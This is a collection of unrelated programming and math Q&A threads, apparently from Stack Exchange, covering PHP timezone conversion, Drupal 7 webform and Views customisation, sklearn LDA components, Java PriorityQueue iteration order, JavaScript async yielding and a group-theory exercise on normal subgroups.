Comment: I've tried getTimestamp() but the result is the same
Comment: Thing thats the problem: `gmdate():Identical to the date() function except that the time returned is Greenwich Mean Time (GMT).`  use `date()` instead of `gmdate()`
Comment: When you do this `$datetime = new DateTime( gmdate('Y-m-d H:i:s') );` it's going to create a datetime in the local time zone.
Comment: Another note: $past_time is NOT defined here `$datetime->createFromFormat( 'Y-m-d H:i:s', $past_time )`. :)
Comment: I've changed the timezone to UTC, but the error is still there
Comment: @JustOnUnderMillions I've updated the code and attempted to force the timezone to UTC
Comment: if you have string like `2016-02-12 12:00:12` use `strtotime()`to get a timestamp, then use `date('Y-m-d H:i:s',$timestamp)` to format it. thats all..
Comment: @deceze I added the timezone to createFromFormat( 'Y-m-d H:i:s', $past_time, new DateTimeZone('UTC') )->getTimestamp(); and it worked
Answer: 2016-09-09 14:42:50 is an incomplete timestamp, it is missing the timezone information. Without timezone information, this timestamp could refer to any of over 24 different absolute points in time. 14:42:50 in London, England occurs several hours after 14:42:50 in Tokyo, Japan.
DateTime instances and UNIX timestamps (created with time() or strtotime()) are absolute points in time, they don't have and aren't influenced by timezones. When converting 2016-09-09 14:42:50 into one of these absolute timestamps, PHP needs to infer the missing information (the timezone) from somewhere. If you do not supply the information explicitly, it takes it from date_default_timezone_get.
$datetime = new DateTime( gmdate('Y-m-d H:i:s'), new DateTimeZone('UTC') );
$past_time = $datetime->createFromFormat( 'Y-m-d H:i:s', $past_time )->getTimestamp();

Let's get rid of the completely superfluous $datetime instance here for simplicity…
$past_time = DateTime::createFromFormat('Y-m-d H:i:s', $past_time)->getTimestamp();

createFromFormat here is reading the incomplete timestamp and infers its timezone. That is where the mismatch is happening, it assumes a timezone other than what the timestamp actually represents. Hence the result is offset by a few hours. getTimestamp than merely reformats that into a different, but still absolute, format of a UNIX timestamp.
echo 'Past formed: ' . gmdate('H:i:s', $past_time) . '

';

gmdate reads the UNIX timestamp and outputs it converted to the GMT timezone. date uses the date_default_timezone_get timezone, gmdate always uses GMT.
You've got a whole lot of unnecessary conversions going on here. The only thing you really need is:
$timestamp = DateTime::createFromFormat('Y-m-d H:i:s', $past_time, new DateTimeZone('UTC'));
echo 'Past formed: ', $timestamp->format('H:i:s');

Ensure you complete the correct timezone information when converting from 2016-09-09 14:42:50 to a DateTime instance.
Format the DateTime instance in the desired format.
Comment: Thank you, I learned something and your post is very detailed, I appreciate your time taken
Answer: Thing the issue is, when calling this line:
echo 'Past formed: ' . gmdate('H:i:s', $past_time ) . '

';
gmdate() looks up the current DateTimeZone in your PHP script, and acts on that.
So you have to use this first for the global timezone:
date_default_timezone_set()
Test what you have set up print date_default_timezone_get();


Concatenating user submission fields or components in webform Drupal 7

Question: using Drupal 7 webform module. The module is set to email out results. The problem is that the form submissions are going via email into Zendesk, which ideally would be able to parse out first/last name from the sender.
The problem is that the email from name is set to use the component first name from the form.
The help text below the selector says "Any textfield, select, or hidden form element may be selected as the sender's name for e-mails." Is there a way to concatenate the first and last name fields from the form into the from name field?
the form was previously set (before I started working on it) with 'Value of First Name'  in the "cusstom" from field. That wasn't working. Would [submission: first_name] [submission: last_name] or a similar token work?
Comment: Have you tried it?
Answer: If you'd be willing to also use the Rules module for actually sending such eMails (together with Webform Rules), you'd have all sorts of flexibility about how you want those eMails to look like.
As an example, consider this custom rule for sending an eMail (in Rules export format):
{ "rules_process_submitted_webform" : {
    "LABEL" : "Process submitted webform",
    "PLUGIN" : "reaction rule",
    "ACTIVE" : false,
    "OWNER" : "rules",
    "REQUIRES" : [ "rules", "webform_rules" ],
    "ON" : { "webform_rules_submit" : [] },
    "DO" : [
      { "mail" : {
          "to" : "[site:mail]",
          "subject" : "A new webform submission has occured",
          "message" : "A new webform submission has occured (with form-id \u0022[form-id:value]\u0022). It was submitted by the user with id = [user:id], name = [user:name] and eMail Id = [user:mail] ...",
          "language" : [ "" ]
        }
      }
    ]
  }
}

I intentionally did not include any Rules Conditions here, just to illustrate that by using such basic rule, you do have access to a limited set of tokens related to the user who submitted the webform, such as [user:id], [user:name] and [user:mail]. In other words, you don't need a Rules Action like "fetch entity by ID" for these kinds of tokens to be available.
But wait, there is more ... You can also include any of the "Webform data" in such eMails. To do so, you could use a technique similar to what is described in my answer to "How to do a data comparison to submitted webform data when using the Rules module?". For short:

Add an extra Rules Action to Add a variable, with a value assigned to it equal to your Webform data you want to use (and with an appropriate data type). You'd need 1 such variable for each Webform component for which you want to access its Webform data.
In your subsequent Rules Actions (e.g. in which you create an eMail) you can refer to the value of these variables you just added (that's the clue!).


why max value of n_component depends upon n_classes in LDA()

Question:
According to sklearn LDA() documentation, max n_components value depend upon the classes the data have. but I am unable to understand why it can't be more than no. of classes when features are more. Why it's depends upon no. of classes.
can anyone explain me or may be share some article which can explain it.
Answer: Because LDA (Linear discriminant analysis) finds separating hyperplanes between classes. Projection onto these hyperplanes can yield dimension reduction as well. An intuitive way to think of it is that, to separate two classes, you find one hyperplane, i.e. one discriminant function is enough. To separate $n$ classes, $n-1$ discriminant functions will be enough.
From a mathematical perspective, since the matrix $\Sigma^{-1}\Sigma_b$ is of rank at most $n-1$, and the scatter coefficient in LDA is maximized by the eigenvectors (hyperplanes) of this matrix, you can obtain at most $n-1$ of them. Related section in wiki is here.
Comment: okay...got it thanks


Using PriorityQueue with any Comparator in Java

Question: Common question: How to use different Comparators of the custom class for sorting sequence its objects in PriorityQueue?
I tried to do that using this comparators in appropriate pairs of priorityqueues and lists of the objects with expected similar sorting results in the next code:
class User{
  private Integer id;
  private String name;
  public User(Integer i, String n){
    this.id=i;
    this.name=n;
  }
  public Integer getId() {return id;}
  public String getName() {return name;}
  @Override
  public boolean equals(Object obj) {
    if (this == obj)return true;
    if (obj == null)return false;
    if (getClass() != obj.getClass())return false;
    User other = (User) obj;
    if(id == null){
      if (other.id != null)return false;
    }else if(!id.equals(other.id))return false;
    return true;
  }
  @Override
  public String toString() {return "[id:" + id + ", name:" + name + "]";}
}

public class MyPriorityQueue {

  public static Comparator<User> cmpId = Comparator.comparingInt(x -> x.getId());
  public static Comparator<User> cmpNameLength = Comparator.comparingInt(x -> x.getName().length());

  public static void main(String[] args) {
    List<User> users = new ArrayList<User>(10);
    users.add(new User(1,"11111"));
    users.add(new User(3,"333"));
    users.add(new User(5,"5"));
    users.add(new User(4,"44"));
    users.add(new User(2,"2222"));

    Queue<User> ids = new PriorityQueue<User>(10, cmpId); //use first comparator
    users.forEach(x-> ids.offer(x));

    Queue<User> names = new PriorityQueue<User>(10, cmpNameLength); //use second comparator
    names.addAll(users);

    System.out.println("Variant_1.1:");
    ids.forEach(System.out::println);

    System.out.println("Variant_2.1:");
    names.forEach(System.out::println);

    System.out.println("Variant_1.2:");
    users.sort(cmpId);  //use first comparator
    users.forEach(System.out::println);

    System.out.println("Variant_2.2:");
    users.sort(cmpNameLength);  //use second comparator
    users.forEach(System.out::println);
  }
}

Output:
Variant_1.1: //Failed sorted queue by user.id with using comporator cmpId
  [id:1, name:11111]
  [id:2, name:2222]
  [id:5, name:5]
  [id:4, name:44]
  [id:3, name:333]
Variant_2.1: //Failed sorted queue by length of the user.name with cmpNameLength
  [id:5, name:5]
  [id:4, name:44]
  [id:3, name:333]
  [id:1, name:11111]
  [id:2, name:2222]
Variant_1.2: // OK: correctly sorted list by user.id with cmpId comporator
  [id:1, name:11111]
  [id:2, name:2222]
  [id:3, name:333]
  [id:4, name:44]
  [id:5, name:5]
Variant_2.2: //OK: for list by length of the user.name with cmpNameLength
  [id:5, name:5]
  [id:4, name:44]
  [id:3, name:333]
  [id:2, name:2222]
  [id:1, name:11111]

I expected that the:

results of the variant 1.1 and 2.1;
results of the variant 1.2 and 2.2;

will be same, but they were different.
My questions: What have I done wrong for ordering priorytyqueue/comparator and How to get sorting result for the priorityqueue as for the appropriate list in my example?
Answer: In your code sample, you are using Iterable#forEach to iterate through the queues.
ids.forEach(System.out::println);

names.forEach(System.out::println);

forEach ultimately delegates into Iterable#iterator.  However, it's important to note that the subclass override in PriorityQueue#iterator has different JavaDocs with a special note about ordering.

Returns an iterator over the elements in this queue. The iterator does not return the elements in any particular order.

In other words, there is no guarantee that iterating over a PriorityQueue will use your Comparator.  If instead you changed your code to drain the queue by repeatedly calling PriorityQueue#poll, then I expect you'd see results ordered according to your custom Comparator.
Digging into the OpenJDK source, we can see that the internal data structure inside PriorityQueue is a binary heap.  This is backed by an array, and as callers add and remove elements of the queue, the code internally maintains the heap invariant.
/**
 * Priority queue represented as a balanced binary heap: the two
 * children of queue[n] are queue[2*n+1] and queue[2*(n+1)].  The
 * priority queue is ordered by comparator, or by the elements'
 * natural ordering, if comparator is null: For each node n in the
 * heap and each descendant d of n, n <= d.  The element with the
 * lowest value is in queue[0], assuming the queue is nonempty.
 */
transient Object[] queue; // non-private to simplify nested class access

However, the internal Iterator implementation simply uses an integer cursor to scan forward through that array, with no consideration of element priorities or heap layout.
            return (E) queue[lastRet = cursor++];

Comment: Thank you for clarifying about the "forEach". After correcting the code "while(!ids.isEmpty())System.out.println(ids.poll());" instead of "ids.forEach(System.out::println);", the expected result was obtained.
Answer: You haven't done anything wrong, it's just that PriorityQueue's iterator is:

not guaranteed to traverse the elements of the priority queue in any particular order (Javadoc)

The forEach method internally uses the iterator, so the same problem exists.
This is because the underlying data structure is such that it "sorts" as you deque items. If the implementor wanted to return items in sorted order, they would have had to first collect the items, and then sort them before returning them. This incurs a performance hit, and so (I presume) it was decided to return it unordered, because PriorityQueue is primarily a queue, rather than a sorted collection, and a user could always sort the item themselves (which is as efficient as it gets).
In order to obtain the elements ordered, do something like:
  while(pq.peek() != null){
      System.out.println(pq.poll());
  }


How do I read the node ID?

Question: I have few articles that were deleted by accident.
Can I add these again using their nids?
Answer: No, Node ids are unique.
But yes you can avoid this kind of issues in feature by using url alias in drupal as you can generate same URL for different node id if current node is deleted accidentally.
Documentation for URL alias https://www.drupal.org/node/120631
Answer: No. You cannot add the node with the same id as it was before before deleted.
Node ids are unique and there is no way you can have the same id for the new node.

How do I read the node ID?


Re-Indexing on Search setting, What for?

Question: What is the function of re-index in the search setting in Drupal? And if not re-indexing, what happened? What different with run cron?
Comment: Hello and welcome to Drupal Answers. Your question is not quite clear whether you want to force a reindex or what modules you are using. Please edit your question and add relevant information.
Answer: The possibility to re-index makes sense if your structure has changed or you gather information for the index in another way. For example if you want to show on a node a referenced node in another viewmode (e.g full instead of teaser). But this depends on your general setup and how you configured your content types and viewmodes.
The re-index option deletes the current search index. The "run cron" writes the new search information to the search index everytime the cron runs.


Let $G$ be a group and $H\unlhd G$ such that $[G:H]=20$ and $|H|=7$. Suppose $x\in G$ and $x^7=e$. Show that $x\in H$.

Question: I'm currently on an exercise problem from Dan Saracino Abstract Algebra, Exercise 11.20. It says the following:
Let $G$ be a group and $H$ be a normal subgroup of $G$ such that $[G:H]=20$ and $|H|=7$. Suppose $x\in G$ and $x^7=e$. Show that $x\in H$.
Can I get some help with this, please?
Answer: Let $p:G\to G/H$ be the quotient projection, sending each element of $G$ to its coset in $G/H$. Since this is a homomorphism and since $x^7=e$ in $G$, we have $p(x)^7=e$ in $G/H$. But the order of $p(x)$ (or any element) in $G/H$ divides the order of $G/H$, which is 20 and, in particular, is relatively prime to $7$. So $p(x)=e$. That is, $x$ is in the kernel of $p$, which is $H$.
Answer: Suppose $H$ is a normal $G$ subgroup of size $7$ and index $20$. Given $x\in G$ and $x^7=e$ then $$\text{ord}(x\cdot H)=1\;\;\text{OR}\;\;\text{ord}(x\cdot H)=7$$ The former implies $x\in H$ but from Lagrange's theorem the latter implies $7\;\vert\;|\frac{G}{H}|$ or equivalently $7\;\vert\;20$ which is false. $\;\;\;\;\therefore\forall x\in G\;x^7=e\implies x\in H$.
Answer: Note that $G=7 \times 20$ so $H$ is the $7$-Sylow subgroup of $G$. Since $H$ is normal, $H$ it is the unique $7$-Sylow subgroup of $G$. Therefore, it must contain all elements of order $7$.


JS async await "nothing" in Node?

Question: I have a method like this:
    private async sendToAll(clients) {
        for(const client of clients) {
            this.send(client, message);
            await true; // What do to put here to make rest of app execute?
        }
    }

It is a method which loops through a large array doing a process. What I would like to do is make it so after each iteration of the loop, the rest of the application runs through a cycle. I would image I just put 'await' and then it would do as expected. But that doesn't work. 'await true' doesn't work either.
Unity C# uses this technique a lot with coroutines. The command you use is 'yield return null', basically pauses the executing of a async method, lets the main thread run a cycle through the rest of the app, then comes back to the async method where it left off.
How do I do this in js?
Comment: `this.send()` is a synchronous method? Then make it asynchronous.
Comment: See also [Await nothing? Using an empty await to break up a large synchronous function](https://stackoverflow.com/q/57300969/1048572)
Answer: If this.send is an asynchronous method returning a promise, you should put the await in front of the method call, like this:
private async sendToAll(clients) {
    for(const client of clients) {
        await this.send(client, message);
    }
}

Answer: If you want to give you app a breath while some expensive operations you can send next loop iteration to the macrotasks queue (setTimeout with 0 delay, for example) or to the microtasks queue using queueMicrotask(). This will let other sync operations in the call stack to be done.
Comment: `queueMicrotask` will achieve nothing that a plain `await;` would not as well. And it actually would block the application.

JS async await "nothing" in Node?


Can I use a universal no-results display for Views?

Question: In Drupal 7, is there a way to set a default, universal No results message for Views? Which of these following options should work?

Should I use a Rendered Entity? If so can I create a node (say, called 'no-results')? Is the Entity Id field, the URL of the entity?
Answer: You can copy views-view.tpl.php template to your theme folder, then modify relevant part.
<?php if ($rows): ?>

    <?php print $rows; ?>

<?php elseif ($empty): ?>

    <?php print $empty; ?>

<?php endif; ?>

To:
<?php if ($rows): ?>

    <?php print $rows; ?>

<?php else: ?>

<?php endif; ?>

You can keep the <?php elseif ($empty): ?> part if you still want to be able to override your custom output.
Cheers,
Comment: Sometimes the simplest solutions are the best (and most maintainable)
Comment: And sometimes you have to weigh the effort between most simple and best. The best might be to try to override/replace the `$empty` var. [This question](http://drupal.stackexchange.com/questions/49160/views-3-set-header-footer-empty-text-for-view-via-views-embed-view) might be of some help.


Change "Passwords match" and "Password Strength" text on signup

Question: How do I change the "Password Strength:Weak" and "Passwords Match:no" text on the sign up page. Are there drupal settings for this?
Answer: The two sentences are set by Javascript (/modules/user/user.js) so for this you have to use JS too..
$(".password-strength-title").val("Test");

can replace the first one, but for the other it is more complicate. I have to look deeper.
EDIT
The info are here now I don't know if it is possible to do an alter
EDIT
Ok so for doing what you want 2 steps:
function your_module_element_info_alter(&$type){
  $type['password_confirm']['#process'][] = 'your_module_form_process_password_confirm';
}

Then alter the data:
function your_module_form_process_password_confirm($element){
  $element['#attached']['js'][1]['data']['password']['strengthTitle'] = t("Test Title");
  $element['#attached']['js'][1]['data']['password']['confirmTitle'] = t("Test confirm");

  return $element;
}

Answer: If you take a look at the source for user_form_process_password_confirm, you will see the strings defined and that they are wrapped in a t().  This means they can be translated and/or overridden.
There are a few ways to do string overrides.
The easiest way is with the String Overrides module.  This lets you do everything from the UI.
You can also do it with your settings.php file.  If you search for "String overrides:" in that file, you will see an example, but you could do something like:
$conf['locale_custom_strings_en'][''] = array(
  'Password strength:' => 'Your password security is ',
  'Weak' => 'horrible.',
  'Fair' => 'pitiful.',
  'Good' => 'tolerable.',
  'Strong' => 'awesome.',
);